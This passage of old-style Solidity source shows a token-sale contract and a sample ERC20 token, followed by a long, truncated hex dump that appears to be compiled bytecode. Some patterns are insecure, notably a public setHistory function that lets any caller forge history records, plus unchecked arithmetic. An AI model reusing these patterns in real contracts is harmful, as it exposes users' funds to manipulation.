require(checkDeadLine(token) , 'Deadline Passed');
require(token.leftover >= _amount , 'Insufficient Token Amount');
if(erc20TokenAddress != refAddress){
uint256 ref = msg.value * token.referral / 100;
balanceEthForAddress[token.owner][symbolNameIndex] += msg.value - ref;
refAccount[refAddress] += ref;
}else{
balanceEthForAddress[token.owner][symbolNameIndex] += msg.value;
}
ERC20Interface ERC20token = ERC20Interface(tokens[symbolNameIndex].tokenContract);
ERC20token.approve(address(this) , _amount);
require(ERC20token.transferFrom(address(this) , msg.sender , _amount) == true , 'Insufficient Token Amount');
setHistory(msg.sender , _amount , 'Buy Token' , token.symbol , token.decimals);
token.leftover -= _amount;
tokenBalanceForAddress[symbolNameIndex] -= _amount;
if(token.leftover == 0){
token.state = State.Ended;
}
TokenBuyed(erc20TokenAddress , _amount , msg.sender);
return true;
}
function leftover(address erc20TokenAddress , uint256 _amount) public view returns(uint256){
uint256 symbolNameIndex = getSymbolIndexByAddressOrThrow(erc20TokenAddress);
return tokens[symbolNameIndex].leftover;
}
function checkDeadLine(Token token) internal returns(bool){
return (now < token.deadline);
}
function getOwnerTokens(address owner) public view returns(address[] memory , string[] memory , uint256[] memory , uint256[] memory , uint256[] memory , uint256[] memory , uint[] memory ){
address[] memory tokenAdderss = new address[](symbolNameIndex+1);
string[] memory tokenName = new string[](symbolNameIndex+1);
uint256[] memory tokenAmount = new uint256[](symbolNameIndex+1);
uint256[] memory tokenLeftover = new uint256[](symbolNameIndex+1);
uint256[] memory tokenPrice = new uint256[](symbolNameIndex+1);
uint256[] memory tokenDeadline = new uint256[](symbolNameIndex+1);
uint[] memory status = new uint[](symbolNameIndex+1);
for (uint256 i = 0; i <= symbolNameIndex; i++) {
if (tokens[i].owner == owner) {
tokenAdderss[i] = tokens[i].tokenContract;
tokenName[i] = tokens[i].symbol;
tokenAmount[i] = tokens[i].amount;
tokenLeftover[i] = tokens[i].leftover;
tokenPrice[i] = tokens[i].priceInWie;
tokenDeadline[i] = tokens[i].deadline;
if(tokens[i].state == State.Waiting)
status[i] = 1;
else{
if(tokens[i].state == State.Selling)
status[i] = 2;
if(!checkDeadLine(tokens[i]) || tokens[i].leftover == 0)
status[i] = 3;
if(tokens[i].state == State.Checkedout)
status[i] = 4;
}
}
}
return (tokenAdderss , tokenName , tokenLeftover , tokenAmount , tokenPrice , tokenDeadline , status);
}
function getDecimal(address erc20TokenAddress) public view returns(uint256){
uint256 symbolNameIndex = getSymbolIndexByAddressOrThrow(erc20TokenAddress);
return tokens[symbolNameIndex].decimals;
}
function getOwnerTokenDetails(address erc20TokenAddress) public view returns(Token){
uint256 symbolNameIndex = getSymbolIndexByAddressOrThrow(erc20TokenAddress);
Token token = tokens[symbolNameIndex];
require(token.owner == msg.sender);
return token;
}
function setHistory(address _owner , uint256 _amount , string _name , string _symbol , uint256 _decimals) public {
histories[historyIndex].amount = _amount;
histories[historyIndex].title = _name;
histories[historyIndex].owner = _owner;
histories[historyIndex].symbol = _symbol;
histories[historyIndex].time = now;
histories[historyIndex].decimals = _decimals;
historyIndex++;
}
function getHistory(address _owner) public view returns(string[] , string[] , uint256[] , uint256[] , uint256[]){
string[] memory title = new string[](historyIndex+1);
string[] memory symbol = new string[](historyIndex+1);
uint256[] memory time = new uint256[](historyIndex+1);
uint256[] memory amount = new uint256[](historyIndex+1);
uint256[] memory decimals = new uint256[](historyIndex+1);
for (uint256 i = 0; i <= historyIndex; i++) {
if (histories[i].owner == _owner) {
title[i] = histories[i].title;
symbol[i] = histories[i].symbol;
time[i] = histories[i].time;
amount[i] = histories[i].amount;
decimals[i] = histories[i].decimals;
}
}
return (title , symbol , time , amount , decimals);
}
}
contract ERC20Interface {
// Get the total token supply
function totalSupply() public constant returns (uint256);
// Get the account balance of another account with address _owner
function balanceOf(address _owner) public constant returns (uint256 balance);
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value) public returns (bool success);
// Send _value amount of tokens from address _from to address _to
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
// this function is required for some DEX functionality
function approve(address _spender, uint256 _value) public returns (bool success);
// Returns the amount which _spender is still allowed to withdraw from _owner
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
// Triggered when tokens are transferred.
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// Triggered whenever approve(address _spender, uint256 _value) is called.
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract FixedSupplyToken is ERC20Interface {
string public constant symbol = "FIXED";
string public constant name = "Example Fixed Supply Token";
uint8 public constant decimals = 0;
uint256 _totalSupply = 1000000;
// Owner of this contract
address public owner;
// Balances for each account
mapping (address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping (address => mapping (address => uint256)) allowed;
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
// Constructor
function FixedSupplyToken() public {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
// What is the balance of a particular account?
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
// Transfer the balance from owner's account to another account
function transfer(address _to, uint256 _amount) public returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
}
else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
}
else {
return false;
}
}
// Allow _spender to withdraw from your account, multiple times, up to the _value amount.
// If this function is called again it overwrites the current allowance with _value.
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
| 0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806331682c43146100eb5780634a36cb651461012857806354f764831461014457806376c362d414610160578063803968111461017c578063966da2b8146101bd57806399c6d2de146101fa5780639bb0f599146102165780639f27895914610253578063c1d5725f14610290578063c255fb17146102c0578063d272fce6146102fd578063d63d4af01461032d578063ed5050ab14610370578063f2b1ea6b146103ad578063f8b2cb4f146103d6575b600080fd5b3480156100f757600080fd5b50610112600480360361010d91908101906140d4565b610413565b60405161011f9190614d8e565b60405180910390f35b610142600480360361013d919081019061438d565b6107ae565b005b61015e600480360361015991908101906140d4565b61097d565b005b61017a6004803603610175919081019061414c565b61146e565b005b34801561018857600080fd5b506101a3600480360361019e91908101906140d4565b61190c565b6040516101b4959493929190614b3d565b60405180910390f35b3480156101c957600080fd5b506101e460048036036101df91908101906140d4565b611d0d565b6040516101f19190614db0565b60405180910390f35b610214600480360361020f9190810190614315565b611d3a565b005b34801561022257600080fd5b5061023d600480360361023891908101906140d4565b612225565b60405161024a9190614bb3565b60405180910390f35b34801561025f57600080fd5b5061027a60048036036102759190810190614232565b612250565b6040516102879190614db0565b60405180910390f35b6102aa60048036036102a591908101906140fd565b61227e565b6040516102b79190614bb3565b60405180910390f35b3480156102cc57600080fd5b506102e760048036036102e291908101906140d4565b612c15565b6040516102f49190614db0565b60405180910390f35b34801561030957600080fd5b50610312612c5e565b60405161032496959493929190614a12565b60405180910390f35b34801561033957600080fd5b50610354600480360361034f91908101906140d4565b6133f8565b6040516103679796959493929190614a9d565b60405180910390f35b34801561037c57600080fd5b50610397600480360361039291908101906140d4565b613ce5565b6040516103a49190614db0565b60405180910390f35b3480156103b957600080fd5b506103d460048036036103cf919081019061426e565b613d0b565b005b3480156103e257600080fd5b506103fd60048036036103f891908101906140d4565b613e2c565b60405161040a9190614db0565b60405180910390f35b61041b613f04565b60008061042784613ce5565b91506008600083815260200190815260200160002090503373ffffffffffffffffffffffffffffffffffffffff168160010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561049c57600080fd5b8061018060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105ef5780601f106105c4576101008083540402835291602001916105ef565b820191906000526020600020905b8154815290600101906020018083116105d257829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106915780601f1061066657610100808354040283529160200191610691565b820191906000526020600020905b81548152906001019060200180831161067457829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107335780601f1061070857610100808354040283529160200191610733565b820191906000526020600020905b81548152906001019060200180831161071657829003601f168201915b505050505081526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a820160009054906101000a900460ff16600381111561078c57fe5b600381111561079757fe5b8152602001600b8201548152505092505050919050565b80905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90614cae565b60405180910390fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506108fa33826040805190810160405280601281526020017f436865636b204f757420526566657272616c00000000000000000000000000008152506040805190810160405280600381526020017f45544800000000000000000000000000000000000000000000000000000000008152506012613d0b565b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610940573d6000803e3d6000fd5b507f597e5ffe42b5e974e99f3092d7cb7a4f4d27e4601e776971e3d50fb828fa452133826040516109729291906149b2565b60405180910390a150565b600080600080600061098e86613ce5565b94506008600086815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16935060086000868152602001908152602001600020600601549250600073ffffffffffffffffffffffffffffffffffffffff166008600087815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8190614c8e565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166008600087815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610b30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2790614d0e565b60405180910390fd5b610e536008600087815260200190815260200160002061018060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c985780601f10610c6d57610100808354040283529160200191610c98565b820191906000526020600020905b815481529060010190602001808311610c7b57829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ddc5780601f10610db157610100808354040283529160200191610ddc565b820191906000526020600020905b815481529060010190602001808311610dbf57829003601f168201915b505050505081526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a820160009054906101000a900460ff166003811115610e3557fe5b6003811115610e4057fe5b8152602001600b82015481525050613e56565b1580610e75575060006008600087815260200190815260200160002060060154145b1515610eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ead90614d2e565b60405180910390fd5b60008360056000888152602001908152602001600020540310151515610f11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0890614c4e565b60405180910390fd5b60056000868152602001908152602001600020548360056000888152602001908152602001600020540311151515610f7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7590614cce565b60405180910390fd5b82600560008781526020019081526020016000206000828254039250508190555060006008600087815260200190815260200160002060060181905550600360086000878152602001908152602001600020600a0160006101000a81548160ff02191690836003811115610fee57fe5b021790555060008311156111f457600115158473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33866040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016110579291906149b2565b602060405180830381600087803b15801561107157600080fd5b505af1158015611085573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506110a99190810190614364565b15151415156110ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e490614d6e565b60405180910390fd5b6111f333846040805190810160405280600f81526020017f436865636b204f757420546f6b656e0000000000000000000000000000000000815250600860008a81526020019081526020016000206003018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111d25780601f106111a7576101008083540402835291602001916111d2565b820191906000526020600020905b8154815290600101906020018083116111b557829003601f168201915b5050505050600860008b815260200190815260200160002060090154613d0b565b5b6103e8600354600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000888152602001908152602001600020540281151561125557fe5b04915081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008781526020019081526020016000205403905061132533826040805190810160405280600d81526020017f436865636b204f757420455448000000000000000000000000000000000000008152506040805190810160405280600381526020017f45544800000000000000000000000000000000000000000000000000000000008152506012613d0b565b6113e6600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683606060405190810160405280602781526020017f284d616e6167657229205369746520536861726520466f72204465706f73697481526020017f6520546f6b656e000000000000000000000000000000000000000000000000008152506040805190810160405280600381526020017f45544800000000000000000000000000000000000000000000000000000000008152506012613d0b565b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561142c573d6000803e3d6000fd5b507f9c7fc59dd14db9310d249b2ccc02540900d0aec55b311844be2d270bfb7070f0868260405161145e9291906149b2565b60405180910390a1505050505050565b61147787612225565b1515156114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b090614bee565b60405180910390fd5b600054341415156114ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f690614cee565b60405180910390fd5b60008110158015611511575060648111155b151561151c57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611584573d6000803e3d6000fd5b506001600081548092919060010191905055508560086000600154815260200190815260200160002060020190805190602001906115c3929190613f9d565b508660086000600154815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550846008600060015481526020019081526020016000206003019080519060200190611647929190613f9d565b50836008600060015481526020019081526020016000206004019080519060200190611674929190613f9d565b5060006008600060015481526020019081526020016000206005018190555042600860006001548152602001908152602001600020600801819055506000600860006001548152602001908152602001600020600601819055506000600860006001548152602001908152602001600020600a0160006101000a81548160ff0219169083600381111561170357fe5b02179055508260086000600154815260200190815260200160002060070181905550816008600060015481526020019081526020016000206009018190555080600860006001548152602001908152602001600020600b01819055503360086000600154815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611830336000546040805190810160405280601181526020017f46656520466f722041646420546f6b656e0000000000000000000000000000008152506040805190810160405280600381526020017f45544800000000000000000000000000000000000000000000000000000000008152506012613d0b565b6118cc600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000546040805190810160405280601b81526020017f284d616e61676572292046656520466f722041646420546f6b656e00000000008152506040805190810160405280600381526020017f45544800000000000000000000000000000000000000000000000000000000008152506012613d0b565b7f784c8f4dbf0ffedd6e72c76501c545a70f8b203b30a26ce542bf92ba87c248a4876040516118fb9190614960565b60405180910390a150505050505050565b606080606080606080606080606080600060016002540160405190808252806020026020018201604052801561195657816020015b60608152602001906001900390816119415790505b50955060016002540160405190808252806020026020018201604052801561199257816020015b606081526020019060019003908161197d5790505b5094506001600254016040519080825280602002602001820160405280156119c95781602001602082028038833980820191505090505b509350600160025401604051908082528060200260200182016040528015611a005781602001602082028038833980820191505090505b509250600160025401604051908082528060200260200182016040528015611a375781602001602082028038833980820191505090505b509150600090505b60025481111515611cef578b73ffffffffffffffffffffffffffffffffffffffff166009600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ce257600960008281526020019081526020016000206001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b5e5780601f10611b3357610100808354040283529160200191611b5e565b820191906000526020600020905b815481529060010190602001808311611b4157829003601f168201915b50505050508682815181101515611b7157fe5b90602001906020020181905250600960008281526020019081526020016000206005018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c285780601f10611bfd57610100808354040283529160200191611c28565b820191906000526020600020905b815481529060010190602001808311611c0b57829003601f168201915b50505050508582815181101515611c3b57fe5b9060200190602002018190525060096000828152602001908152602001600020600401548482815181101515611c6d57fe5b906020019060200201818152505060096000828152602001908152602001600020600201548382815181101515611ca057fe5b906020019060200201818152505060096000828152602001908152602001600020600301548282815181101515611cd357fe5b90602001906020020181815250505b8080600101915050611a3f565b85858585859a509a509a509a509a5050505050505091939590929450565b600080611d1983613ce5565b90506008600082815260200190815260200160002060090154915050919050565b6000806000611d4886613ce5565b9250600073ffffffffffffffffffffffffffffffffffffffff166008600085815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de990614c8e565b60405180910390fd5b60006003811115611dff57fe5b60086000858152602001908152602001600020600a0160009054906101000a900460ff166003811115611e2e57fe5b141515611e70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6790614c2e565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166008600085815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611f16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0d90614d0e565b60405180910390fd5b6008600084815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600115158273ffffffffffffffffffffffffffffffffffffffff166323b872dd3330896040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401611fac9392919061497b565b602060405180830381600087803b158015611fc657600080fd5b505af1158015611fda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611ffe9190810190614364565b151514151561200c57600080fd5b8460086000858152602001908152602001600020600501819055508460086000858152602001908152602001600020600601819055506005600084815260200190815260200160002054856005600086815260200190815260200160002054011015151561207957600080fd5b846005600085815260200190815260200160002060008282540192505081905550600160086000858152602001908152602001600020600a0160006101000a81548160ff021916908360038111156120cd57fe5b02179055508360086000858152602001908152602001600020600801819055506008600084815260200190815260200160002090506121e433866040805190810160405280600d81526020017f4465706f73697420546f6b656e00000000000000000000000000000000000000815250846003018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121d55780601f106121aa576101008083540402835291602001916121d5565b820191906000526020600020905b8154815290600101906020018083116121b857829003601f168201915b50505050508560090154613d0b565b7fbc7c8a4d8049a3f99a02f2a20640c206a2e4d3f2fa54fd20da9f01fda3620cda86866040516122159291906149b2565b60405180910390a1505050505050565b60008061223183613e67565b90506000811415612245576000915061224a565b600191505b50919050565b60008061225c84613ce5565b9050600860008281526020019081526020016000206006015491505092915050565b600080600080600061228f88613ce5565b9350600860008581526020019081526020016000209250600160038111156122b357fe5b83600a0160009054906101000a900460ff1660038111156122d057fe5b141515612312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230990614c0e565b60405180910390fd5b348360090154600a0a8460070154880281151561232b57fe5b0414151561236e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236590614d4e565b60405180910390fd5b61267f8361018060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156124c45780601f10612499576101008083540402835291602001916124c4565b820191906000526020600020905b8154815290600101906020018083116124a757829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125665780601f1061253b57610100808354040283529160200191612566565b820191906000526020600020905b81548152906001019060200180831161254957829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126085780601f106125dd57610100808354040283529160200191612608565b820191906000526020600020905b8154815290600101906020018083116125eb57829003601f168201915b505050505081526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a820160009054906101000a900460ff16600381111561266157fe5b600381111561266c57fe5b8152602001600b82015481525050613e56565b15156126c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b790614c6e565b60405180910390fd5b85836006015410151515612709576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270090614bce565b60405180910390fd5b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff1614151561282957606483600b0154340281151561275057fe5b049150813403600760008560010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008681526020019081526020016000206000828254019250508190555081600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506128ac565b34600760008560010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000868152602001908152602001600020600082825401925050819055505b6008600085815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663095ea7b330886040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040161293c9291906149b2565b602060405180830381600087803b15801561295657600080fd5b505af115801561296a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061298e9190810190614364565b50600115158173ffffffffffffffffffffffffffffffffffffffff166323b872dd30338a6040518463ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016129ec9392919061497b565b602060405180830381600087803b158015612a0657600080fd5b505af1158015612a1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612a3e9190810190614364565b1515141515612a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a7990614bce565b60405180910390fd5b612b6433876040805190810160405280600981526020017f42757920546f6b656e0000000000000000000000000000000000000000000000815250866003018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b555780601f10612b2a57610100808354040283529160200191612b55565b820191906000526020600020905b815481529060010190602001808311612b3857829003601f168201915b50505050508760090154613d0b565b858360060160008282540392505081905550856005600086815260200190815260200160002060008282540392505081905550600083600601541415612bcb57600283600a0160006101000a81548160ff02191690836003811115612bc557fe5b02179055505b7fb12543e621f7fce4b5f545d82e485acc0c79633659779cc7a6323e24100c297c888733604051612bfe939291906149db565b60405180910390a160019450505050509392505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60608060608060608060608060608060608060006001805401604051908082528060200260200182016040528015612ca55781602001602082028038833980820191505090505b5096506001805401604051908082528060200260200182016040528015612ce057816020015b6060815260200190600190039081612ccb5790505b5095506001805401604051908082528060200260200182016040528015612d1b57816020015b6060815260200190600190039081612d065790505b5094506001805401604051908082528060200260200182016040528015612d515781602001602082028038833980820191505090505b5093506001805401604051908082528060200260200182016040528015612d875781602001602082028038833980820191505090505b5092506001805401604051908082528060200260200182016040528015612dbd5781602001602082028038833980820191505090505b509150600090505b600154811115156133d7576130f36008600083815260200190815260200160002061018060405190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612f385780601f10612f0d57610100808354040283529160200191612f38565b820191906000526020600020905b815481529060010190602001808311612f1b57829003601f168201915b50505050508152602001600382018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612fda5780601f10612faf57610100808354040283529160200191612fda565b820191906000526020600020905b815481529060010190602001808311612fbd57829003601f168201915b50505050508152602001600482018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561307c5780601f106130515761010080835404028352916020019161307c565b820191906000526020600020905b81548152906001019060200180831161305f57829003601f168201915b505050505081526020016005820154815260200160068201548152602001600782015481526020016008820154815260200160098201548152602001600a820160009054906101000a900460ff1660038111156130d557fe5b60038111156130e057fe5b8152602001600b82015481525050613e56565b801561311657506000600860008381526020019081526020016000206006015414155b156133ca576008600082815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16878281518110151561316057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860008281526020019081526020016000206003018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156132465780601f1061321b57610100808354040283529160200191613246565b820191906000526020600020905b81548152906001019060200180831161322957829003601f168201915b5050505050868281518110151561325957fe5b90602001906020020181905250600860008281526020019081526020016000206004018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133105780601f106132e557610100808354040283529160200191613310565b820191906000526020600020905b8154815290600101906020018083116132f357829003601f168201915b5050505050858281518110151561332357fe5b906020019060200201819052506008600082815260200190815260200160002060070154848281518110151561335557fe5b90602001906020020181815250506008600082815260200190815260200160002060090154838281518110151561338857fe5b9060200190602002018181525050600860008281526020019081526020016000206006015482828151811015156133bb57fe5b90602001906020020181815250505b8080600101915050612dc5565b8686858585899c509c509c509c509c509c5050505050505050909192939495565b606080606080606080606080606080606080606080600060018054016040519080825280602002602001820160405280156134425781602001602082028038833980820191505090505b509750600180540160405190808252806020026020018201604052801561347d57816020015b60608152602001906001900390816134685790505b50965060018054016040519080825280602002602001820160405280156134b35781602001602082028038833980820191505090505b50955060018054016040519080825280602002602001820160405280156134e95781602001602082028038833980820191505090505b509450600180540160405190808252806020026020018201604052801561351f5781602001602082028038833980820191505090505b50935060018054016040519080825280602002602001820160405280156135555781602001602082028038833980820191505090505b509250600180540160405190808252806020026020018201604052801561358b5781602001602082028038833980820191505090505b509150600090505b60015481111515613cbd578f73ffffffffffffffffffffffffffffffffffffffff166008600083815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613cb0576008600082815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16888281518110151561364d57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860008281526020019081526020016000206003018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156137335780601f1061370857610100808354040283529160200191613733565b820191906000526020600020905b81548152906001019060200180831161371657829003601f168201915b5050505050878281518110151561374657fe5b906020019060200201819052506008600082815260200190815260200160002060050154868281518110151561377857fe5b9060200190602002018181525050600860008281526020019081526020016000206006015485828151811015156137ab57fe5b9060200190602002018181525050600860008281526020019081526020016000206007015484828151811015156137de57fe5b90602001906020020181815250506008600082815260200190815260200160002060080154838281518110151561381157fe5b90602001906020020181815250506000600381111561382c57fe5b60086000838152602001908152602001600020600a0160009054906101000a900460ff16600381111561385b57fe5b1415613884576001828281518110151561387157fe5b9060200190602002018181525050613caf565b6001600381111561389157fe5b6008600083815260200